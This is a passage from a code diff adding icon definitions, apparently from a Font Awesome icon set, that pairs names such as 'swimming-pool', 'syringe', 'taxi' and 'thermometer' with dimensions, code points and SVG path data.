8.28-3.52 12.62-2.61l100.35 21.53c25.91 5.53 51.44-10.97 57-36.88 5.55-25.92-10.95-51.44-36.88-57L437.68 98.47c-30.73-6.58-63.02.12-88.56 18.38l-80.02 57.17c-10.38 7.39-19.36 16.44-26.72 26.94L173.75 299c5.47 3.23 10.82 6.93 15.86 11.58zM624 352h-16c-26.04 0-45.8-8.42-56.09-17.9-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C461.8 343.58 442.04 352 416 352s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C269.8 343.58 250.04 352 224 352s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C77.8 343.58 58.04 352 32 352H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c38.62 0 72.72-12.19 96-31.84 23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-512-96c44.18 0 80-35.82 80-80s-35.82-80-80-80-80 35.82-80 80 35.82 80 80 80z"], + "swimming-pool": [640, 512, [], "f5c5", "M624 416h-16c-26.04 0-45.8-8.42-56.09-17.9-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C461.8 407.58 442.04 416 416 416s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C269.8 407.58 250.04 416 224 416s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C77.8 407.58 58.04 416 32 416H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c38.62 0 72.72-12.19 96-31.84 23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-400-32v-96h192v96c19.12 0 30.86-6.16 34.39-9.42 9.17-8.46 19.2-14.34 29.61-18.07V128c0-17.64 14.36-32 32-32s32 14.36 32 32v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16c0-52.94-43.06-96-96-96s-96 43.06-96 96v96H224v-96c0-17.64 14.36-32 32-32s32 14.36 32 32v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16c0-52.94-43.06-96-96-96s-96 43.06-96 96v228.5c10.41 3.73 20.44 9.62 29.61 18.07 3.53 3.27 15.27 9.43 34.39 9.43z"], + "synagogue": [640, 512, [], "f69b", "M70 196.51L6.67 268.29A26.643 26.643 0 0 0 0 285.93V512h128V239.58l-38-43.07c-5.31-6.01-14.69-6.01-20 0zm563.33 71.78L570 196.51c-5.31-6.02-14.69-6.02-20 0l-38 43.07V512h128V285.93c0-6.5-2.37-12.77-6.67-17.64zM339.99 7.01c-11.69-9.35-28.29-9.35-39.98 0l-128 102.4A32.005 32.005 0 0 0 160 134.4V512h96v-92.57c0-31.88 21.78-61.43 53.25-66.55C349.34 346.35 384 377.13 384 416v96h96V134.4c0-9.72-4.42-18.92-12.01-24.99l-128-102.4zm52.07 215.55c1.98 3.15-.29 7.24-4 7.24h-38.94L324 269.79c-1.85 2.95-6.15 2.95-8 0l-25.12-39.98h-38.94c-3.72 0-5.98-4.09-4-7.24l19.2-30.56-19.2-30.56c-1.98-3.15.29-7.24 4-7.24h38.94l25.12-40c1.85-2.95 6.15-2.95 8 0l25.12 39.98h38.95c3.71 0 5.98 4.09 4 7.24L372.87 192l19.19 30.56z"], + "sync": [512, 512, [], "f021", "M440.65 12.57l4 82.77A247.16 247.16 0 0 0 255.83 8C134.73 8 33.91 94.92 12.29 209.82A12 12 0 0 0 24.09 224h49.05a12 12 0 0 0 11.67-9.26 175.91 175.91 0 0 1 317-56.94l-101.46-4.86a12 12 0 0 0-12.57 12v47.41a12 12 0 0 0 12 12H500a12 12 0 0 0 12-12V12a12 12 0 0 0-12-12h-47.37a12 12 0 0 0-11.98 12.57zM255.83 432a175.61 175.61 0 0 1-146-77.8l101.8 4.87a12 12 0 0 0 12.57-12v-47.4a12 12 0 0 0-12-12H12a12 12 0 0 0-12 12V500a12 12 0 0 0 12 12h47.35a12 12 0 0 0 12-12.6l-4.15-82.57A247.17 247.17 0 0 0 255.83 504c121.11 0 221.93-86.92 243.55-201.82a12 12 0 0 0-11.8-14.18h-49.05a12 12 0 0 0-11.67 9.26A175.86 175.86 0 0 1 255.83 432z"], + "sync-alt": [512, 512, [], "f2f1", "M370.72 133.28C339.458 104.008 298.888 87.962 255.848 88c-77.458.068-144.328 53.178-162.791 126.85-1.344 5.363-6.122 9.15-11.651 9.15H24.103c-7.498 0-13.194-6.807-11.807-14.176C33.933 94.924 134.813 8 256 8c66.448 0 126.791 26.136 171.315 68.685L463.03 40.97C478.149 25.851 504 36.559 504 57.941V192c0 13.255-10.745 24-24 24H345.941c-21.382 0-32.09-25.851-16.971-40.971l41.75-41.749zM32 296h134.059c21.382 0 32.09 25.851 16.971 40.971l-41.75 41.75c31.262 29.273 71.835 45.319 114.876 45.28 77.418-.07 144.315-53.144 162.787-126.849 1.344-5.363 6.122-9.15 11.651-9.15h57.304c7.498 0 13.194 6.807 11.807 14.176C478.067 417.076 377.187 504 256 504c-66.448 0-126.791-26.136-171.315-68.685L48.97 471.03C33.851 486.149 8 475.441 8 454.059V320c0-13.255 10.745-24 24-24z"], + "syringe": [512, 512, [], "f48e", "M201.5 174.8l55.7 55.8c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-55.7-55.8-45.3 45.3 55.8 55.8c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L111 265.2l-26.4 26.4c-17.3 17.3-25.6 41.1-23 65.4l7.1 63.6L2.3 487c-3.1 3.1-3.1 8.2 0 11.3l11.3 11.3c3.1 3.1 8.2 3.1 11.3 0l66.3-66.3 63.6 7.1c23.9 2.6 47.9-5.4 65.4-23l181.9-181.9-135.7-135.7-64.9 65zm308.2-93.3L430.5 2.3c-3.1-3.1-8.2-3.1-11.3 0l-11.3 11.3c-3.1 3.1-3.1 8.2 0 11.3l28.3 28.3-45.3 45.3-56.6-56.6-17-17c-3.1-3.1-8.2-3.1-11.3 0l-33.9 33.9c-3.1 3.1-3.1 8.2 0 11.3l17 17L424.8 223l17 17c3.1 3.1 8.2 3.1 11.3 0l33.9-34c3.1-3.1 3.1-8.2 0-11.3l-73.5-73.5 45.3-45.3 28.3 28.3c3.1 3.1 8.2 3.1 11.3 0l11.3-11.3c3.1-3.2 3.1-8.2 0-11.4z"], + "table": [512, 512, [], "f0ce", "M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM224 416H64v-96h160v96zm0-160H64v-96h160v96zm224 160H288v-96h160v96zm0-160H288v-96h160v96z"], + "table-tennis": [512, 512, [], "f45d", "M496.2 296.5C527.7 218.7 512 126.2 449 63.1 365.1-21 229-21 145.1 63.1l-56 56.1 211.5 211.5c46.1-62.1 131.5-77.4 195.6-34.2zm-217.9 79.7L57.9 155.9c-27.3 45.3-21.7 105 17.3 144.1l34.5 34.6L6.7 424c-8.6 7.5-9.1 20.7-1 28.8l53.4 53.5c8 8.1 21.2 7.6 28.7-1L177.1 402l35.7 35.7c19.7 19.7 44.6 30.5 70.3 33.3-7.1-17-11-35.6-11-55.1-.1-13.8 2.5-27 6.2-39.7zM416 320c-53 0-96 43-96 96s43 96 96 96 96-43 96-96-43-96-96-96z"], + "tablet": [448, 512, [], "f10a", "M400 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM224 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "tablet-alt": [448, 512, [], "f3fa", "M400 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM224 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm176-108c0 6.6-5.4 12-12 12H60c-6.6 0-12-5.4-12-12V60c0-6.6 5.4-12 12-12h328c6.6 0 12 5.4 12 12v312z"], + "tablets": [640, 512, [], "f490", "M160 192C78.9 192 12.5 250.5.1 326.7c-.8 4.8 3.3 9.3 8.3 9.3h303.3c5 0 9.1-4.5 8.3-9.3C307.5 250.5 241.1 192 160 192zm151.6 176H8.4c-5 0-9.1 4.5-8.3 9.3C12.5 453.5 78.9 512 160 512s147.5-58.5 159.9-134.7c.8-4.8-3.3-9.3-8.3-9.3zM593.4 46.6c-56.5-56.5-144.2-61.4-206.9-16-4 2.9-4.3 8.9-.8 12.3L597 254.3c3.5 3.5 9.5 3.2 12.3-.8 45.5-62.7 40.6-150.4-15.9-206.9zM363 65.7c-3.5-3.5-9.5-3.2-12.3.8-45.4 62.7-40.5 150.4 15.9 206.9 56.5 56.5 144.2 61.4 206.9 15.9 4-2.9 4.3-8.9.8-12.3L363 65.7z"], + "tachometer-alt": [576, 512, [], "f3fd", "M288 32C128.94 32 0 160.94 0 320c0 52.8 14.25 102.26 39.06 144.8 5.61 9.62 16.3 15.2 27.44 15.2h443c11.14 0 21.83-5.58 27.44-15.2C561.75 422.26 576 372.8 576 320c0-159.06-128.94-288-288-288zm0 64c14.71 0 26.58 10.13 30.32 23.65-1.11 2.26-2.64 4.23-3.45 6.67l-9.22 27.67c-5.13 3.49-10.97 6.01-17.64 6.01-17.67 0-32-14.33-32-32S270.33 96 288 96zM96 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm48-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm246.77-72.41l-61.33 184C343.13 347.33 352 364.54 352 384c0 11.72-3.38 22.55-8.88 32H232.88c-5.5-9.45-8.88-20.28-8.88-32 0-33.94 26.5-61.43 59.9-63.59l61.34-184.01c4.17-12.56 17.73-19.45 30.36-15.17 12.57 4.19 19.35 17.79 15.17 30.36zm14.66 57.2l15.52-46.55c3.47-1.29 7.13-2.23 11.05-2.23 17.67 0 32 14.33 32 32s-14.33 32-32 32c-11.38-.01-20.89-6.28-26.57-15.22zM480 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "tag": [512, 512, [], "f02b", "M0 252.118V48C0 21.49 21.49 0 48 0h204.118a48 48 0 0 1 33.941 14.059l211.882 211.882c18.745 18.745 18.745 49.137 0 67.882L293.823 497.941c-18.745 18.745-49.137 18.745-67.882 0L14.059 286.059A48 48 0 0 1 0 252.118zM112 64c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48z"], + "tags": [640, 512, [], "f02c", "M497.941 225.941L286.059 14.059A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v204.118a48 48 0 0 0 14.059 33.941l211.882 211.882c18.744 18.745 49.136 18.746 67.882 0l204.118-204.118c18.745-18.745 18.745-49.137 0-67.882zM112 160c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm513.941 133.823L421.823 497.941c-18.745 18.745-49.137 18.745-67.882 0l-.36-.36L527.64 323.522c16.999-16.999 26.36-39.6 26.36-63.64s-9.362-46.641-26.36-63.64L331.397 0h48.721a48 48 0 0 1 33.941 14.059l211.882 211.882c18.745 18.745 18.745 49.137 0 67.882z"], + "tape": [640, 512, [], "f4db", "M224 192c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64zm400 224H380.6c41.5-40.7 67.4-97.3 67.4-160 0-123.7-100.3-224-224-224S0 132.3 0 256s100.3 224 224 224h400c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400-64c-53 0-96-43-96-96s43-96 96-96 96 43 96 96-43 96-96 96z"], + "tasks": [512, 512, [], "f0ae", "M139.61 35.5a12 12 0 0 0-17 0L58.93 98.81l-22.7-22.12a12 12 0 0 0-17 0L3.53 92.41a12 12 0 0 0 0 17l47.59 47.4a12.78 12.78 0 0 0 17.61 0l15.59-15.62L156.52 69a12.09 12.09 0 0 0 .09-17zm0 159.19a12 12 0 0 0-17 0l-63.68 63.72-22.7-22.1a12 12 0 0 0-17 0L3.53 252a12 12 0 0 0 0 17L51 316.5a12.77 12.77 0 0 0 17.6 0l15.7-15.69 72.2-72.22a12 12 0 0 0 .09-16.9zM64 368c-26.49 0-48.59 21.5-48.59 48S37.53 464 64 464a48 48 0 0 0 0-96zm432 16H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"], + "taxi": [512, 512, [], "f1ba", "M462 241.64l-22-84.84c-9.6-35.2-41.6-60.8-76.8-60.8H352V64c0-17.67-14.33-32-32-32H192c-17.67 0-32 14.33-32 32v32h-11.2c-35.2 0-67.2 25.6-76.8 60.8l-22 84.84C21.41 248.04 0 273.47 0 304v48c0 23.63 12.95 44.04 32 55.12V448c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-40.88c19.05-11.09 32-31.5 32-55.12v-48c0-30.53-21.41-55.96-50-62.36zM96 352c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm20.55-112l17.2-66.36c2.23-8.16 9.59-13.64 15.06-13.64h214.4c5.47 0 12.83 5.48 14.85 12.86L395.45 240h-278.9zM416 352c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "teeth": [640, 512, [], "f62e", "M544 0H96C42.98 0 0 42.98 0 96v320c0 53.02 42.98 96 96 96h448c53.02 0 96-42.98 96-96V96c0-53.02-42.98-96-96-96zM160 368c0 26.51-21.49 48-48 48s-48-21.49-48-48v-64c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v64zm0-128c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-64c0-26.51 21.49-48 48-48s48 21.49 48 48v64zm144 120c0 30.93-25.07 56-56 56s-56-25.07-56-56v-56c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v56zm0-120c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-88c0-30.93 25.07-56 56-56s56 25.07 56 56v88zm144 120c0 30.93-25.07 56-56 56s-56-25.07-56-56v-56c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v56zm0-120c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-88c0-30.93 25.07-56 56-56s56 25.07 56 56v88zm128 128c0 26.51-21.49 48-48 48s-48-21.49-48-48v-64c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v64zm0-128c0 8.84-7.16 16-16 16h-64c-8.84 0-16-7.16-16-16v-64c0-26.51 21.49-48 48-48s48 21.49 48 48v64z"], + "teeth-open": [640, 512, [], "f62f", "M544 0H96C42.98 0 0 42.98 0 96v64c0 35.35 28.66 64 64 64h512c35.34 0 64-28.65 64-64V96c0-53.02-42.98-96-96-96zM160 176c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-32c0-26.51 21.49-48 48-48s48 21.49 48 48v32zm144 0c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-56c0-30.93 25.07-56 56-56s56 25.07 56 56v56zm144 0c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-56c0-30.93 25.07-56 56-56s56 25.07 56 56v56zm128 0c0 8.84-7.16 16-16 16h-64c-8.84 0-16-7.16-16-16v-32c0-26.51 21.49-48 48-48s48 21.49 48 48v32zm0 144H64c-35.34 0-64 28.65-64 64v32c0 53.02 42.98 96 96 96h448c53.02 0 96-42.98 96-96v-32c0-35.35-28.66-64-64-64zm-416 80c0 26.51-21.49 48-48 48s-48-21.49-48-48v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32zm144-8c0 30.93-25.07 56-56 56s-56-25.07-56-56v-24c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v24zm144 0c0 30.93-25.07 56-56 56s-56-25.07-56-56v-24c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v24zm128 8c0 26.51-21.49 48-48 48s-48-21.49-48-48v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32z"], + "temperature-high": [512, 512, [], "f769", "M416 0c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-160-16C256 50.1 205.9 0 144 0S32 50.1 32 112v166.5C12.3 303.2 0 334 0 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-34-12.3-64.9-32-89.5V112zM144 448c-44.1 0-80-35.9-80-80 0-25.5 12.2-48.9 32-63.8V112c0-26.5 21.5-48 48-48s48 21.5 48 48v192.2c19.8 14.8 32 38.3 32 63.8 0 44.1-35.9 80-80 80zm16-125.1V112c0-8.8-7.2-16-16-16s-16 7.2-16 16v210.9c-18.6 6.6-32 24.2-32 45.1 0 26.5 21.5 48 48 48s48-21.5 48-48c0-20.9-13.4-38.5-32-45.1z"], + "temperature-low": [512, 512, [], "f76b", "M416 0c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-160-16C256 50.1 205.9 0 144 0S32 50.1 32 112v166.5C12.3 303.2 0 334 0 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-34-12.3-64.9-32-89.5V112zM144 448c-44.1 0-80-35.9-80-80 0-25.5 12.2-48.9 32-63.8V112c0-26.5 21.5-48 48-48s48 21.5 48 48v192.2c19.8 14.8 32 38.3 32 63.8 0 44.1-35.9 80-80 80zm16-125.1V304c0-8.8-7.2-16-16-16s-16 7.2-16 16v18.9c-18.6 6.6-32 24.2-32 45.1 0 26.5 21.5 48 48 48s48-21.5 48-48c0-20.9-13.4-38.5-32-45.1z"], + "tenge": [384, 512, [], "f7d7", "M372 160H12c-6.6 0-12 5.4-12 12v56c0 6.6 5.4 12 12 12h140v228c0 6.6 5.4 12 12 12h56c6.6 0 12-5.4 12-12V240h140c6.6 0 12-5.4 12-12v-56c0-6.6-5.4-12-12-12zm0-128H12C5.4 32 0 37.4 0 44v56c0 6.6 5.4 12 12 12h360c6.6 0 12-5.4 12-12V44c0-6.6-5.4-12-12-12z"], + "terminal": [640, 512, [], "f120", "M257.981 272.971L63.638 467.314c-9.373 9.373-24.569 9.373-33.941 0L7.029 444.647c-9.357-9.357-9.375-24.522-.04-33.901L161.011 256 6.99 101.255c-9.335-9.379-9.317-24.544.04-33.901l22.667-22.667c9.373-9.373 24.569-9.373 33.941 0L257.981 239.03c9.373 9.372 9.373 24.568 0 33.941zM640 456v-32c0-13.255-10.745-24-24-24H312c-13.255 0-24 10.745-24 24v32c0 13.255 10.745 24 24 24h304c13.255 0 24-10.745 24-24z"], + "text-height": [576, 512, [], "f034", "M304 32H16A16 16 0 0 0 0 48v96a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32h56v304H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h160a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-40V112h56v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm256 336h-48V144h48c14.31 0 21.33-17.31 11.31-27.31l-80-80a16 16 0 0 0-22.62 0l-80 80C379.36 126 384.36 144 400 144h48v224h-48c-14.31 0-21.32 17.31-11.31 27.31l80 80a16 16 0 0 0 22.62 0l80-80C580.64 386 575.64 368 560 368z"], + "text-width": [448, 512, [], "f035", "M432 32H16A16 16 0 0 0 0 48v80a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-16h120v112h-24a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-24V112h120v16a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm-68.69 260.69C354 283.36 336 288.36 336 304v48H112v-48c0-14.31-17.31-21.32-27.31-11.31l-80 80a16 16 0 0 0 0 22.62l80 80C94 484.64 112 479.64 112 464v-48h224v48c0 14.31 17.31 21.33 27.31 11.31l80-80a16 16 0 0 0 0-22.62z"], + "th": [512, 512, [], "f00a", "M149.333 56v80c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V56c0-13.255 10.745-24 24-24h101.333c13.255 0 24 10.745 24 24zm181.334 240v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24zm32-240v80c0 13.255 10.745 24 24 24H488c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24zm-32 80V56c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24zm-205.334 56H24c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24zM0 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zm386.667-56H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zm0 160H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zM181.333 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24z"], + "th-large": [512, 512, [], "f009", "M296 32h192c13.255 0 24 10.745 24 24v160c0 13.255-10.745 24-24 24H296c-13.255 0-24-10.745-24-24V56c0-13.255 10.745-24 24-24zm-80 0H24C10.745 32 0 42.745 0 56v160c0 13.255 10.745 24 24 24h192c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24zM0 296v160c0 13.255 10.745 24 24 24h192c13.255 0 24-10.745 24-24V296c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zm296 184h192c13.255 0 24-10.745 24-24V296c0-13.255-10.745-24-24-24H296c-13.255 0-24 10.745-24 24v160c0 13.255 10.745 24 24 24z"], + "th-list": [512, 512, [], "f00b", "M149.333 216v80c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24v-80c0-13.255 10.745-24 24-24h101.333c13.255 0 24 10.745 24 24zM0 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zM125.333 32H24C10.745 32 0 42.745 0 56v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24zm80 448H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zm-24-424v80c0 13.255 10.745 24 24 24H488c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24zm24 264H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24z"], + "theater-masks": [640, 512, [], "f630", "M206.86 245.15c-35.88 10.45-59.95 41.2-57.53 74.1 11.4-12.72 28.81-23.7 49.9-30.92l7.63-43.18zM95.81 295L64.08 115.49c-.29-1.62.28-2.62.24-2.65 57.76-32.06 123.12-49.01 189.01-49.01 1.61 0 3.23.17 4.85.19 13.95-13.47 31.73-22.83 51.59-26 18.89-3.02 38.05-4.55 57.18-5.32-9.99-13.95-24.48-24.23-41.77-27C301.27 1.89 277.24 0 253.32 0 176.66 0 101.02 19.42 33.2 57.06 9.03 70.48-3.92 98.48 1.05 126.58l31.73 179.51c14.23 80.52 136.33 142.08 204.45 142.08 3.59 0 6.75-.46 10.01-.8-13.52-17.08-28.94-40.48-39.5-67.58-47.61-12.98-106.06-51.62-111.93-84.79zm97.55-137.46c-.73-4.12-2.23-7.87-4.07-11.4-8.25 8.91-20.67 15.75-35.32 18.32-14.65 2.58-28.67.4-39.48-5.17-.52 3.94-.64 7.98.09 12.1 3.84 21.7 24.58 36.19 46.34 32.37 21.75-3.82 36.28-24.52 32.44-46.22zM606.8 120.9c-88.98-49.38-191.43-67.41-291.98-51.35-27.31 4.36-49.08 26.26-54.04 54.36l-31.73 179.51c-15.39 87.05 95.28 196.27 158.31 207.35 63.03 11.09 204.47-53.79 219.86-140.84l31.73-179.51c4.97-28.11-7.98-56.11-32.15-69.52zm-273.24 96.8c3.84-21.7 24.58-36.19 46.34-32.36 21.76 3.83 36.28 24.52 32.45 46.22-.73 4.12-2.23 7.87-4.07 11.4-8.25-8.91-20.67-15.75-35.32-18.32-14.65-2.58-28.67-.4-39.48 5.17-.53-3.95-.65-7.99.08-12.11zm70.47 198.76c-55.68-9.79-93.52-59.27-89.04-112.9 20.6 25.54 56.21 46.17 99.49 53.78 43.28 7.61 83.82.37 111.93-16.6-14.18 51.94-66.71 85.51-122.38 75.72zm130.3-151.34c-8.25-8.91-20.68-15.75-35.33-18.32-14.65-2.58-28.67-.4-39.48 5.17-.52-3.94-.64-7.98.09-12.1 3.84-21.7 24.58-36.19 46.34-32.37 21.75 3.83 36.28 24.52 32.45 46.22-.73 4.13-2.23 7.88-4.07 11.4z"], + "thermometer": [512, 512, [], "f491", "M476.8 20.4c-37.5-30.7-95.5-26.3-131.9 10.2l-45.7 46 50.5 50.5c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-50.4-50.5-45.1 45.4 50.3 50.4c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L209 167.4l-45.1 45.4L214 263c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-50.1-50.2L96 281.1V382L7 471c-9.4 9.4-9.4 24.6 0 33.9 9.4 9.4 24.6 9.4 33.9 0l89-89h99.9L484 162.6c34.9-34.9 42.2-101.5-7.2-142.2z"], + "thermometer-empty": [256, 512, [], "f2cb", "M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-35.346 28.654-64 64-64s64 28.654 64 64zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z"], + "thermometer-full": [256, 512, [], "f2c7", "M224 96c0-53.019-42.981-96-96-96S32 42.981 32 96v203.347C12.225 321.756.166 351.136.002 383.333c-.359 70.303 56.787 128.176 127.089 128.664.299.002.61.003.909.003 70.698 0 128-57.304 128-128 0-32.459-12.088-62.09-32-84.653V96zm-96 368l-.576-.002c-43.86-.304-79.647-36.544-79.423-80.42.173-33.98 19.266-51.652 31.999-66.08V96c0-26.467 21.533-48 48-48s48 21.533 48 48v221.498c12.63 14.312 32 32.164 32 66.502 0 44.112-35.888 80-80 80zm64-80c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V96c0-17.673 14.327-32 32-32s32 14.327 32 32v232.583c19.124 11.068 32 31.732 32 55.417z"], + "thermometer-half": [256, 512, [], "f2c9", "M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V224c0-17.673 14.327-32 32-32s32 14.327 32 32v104.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 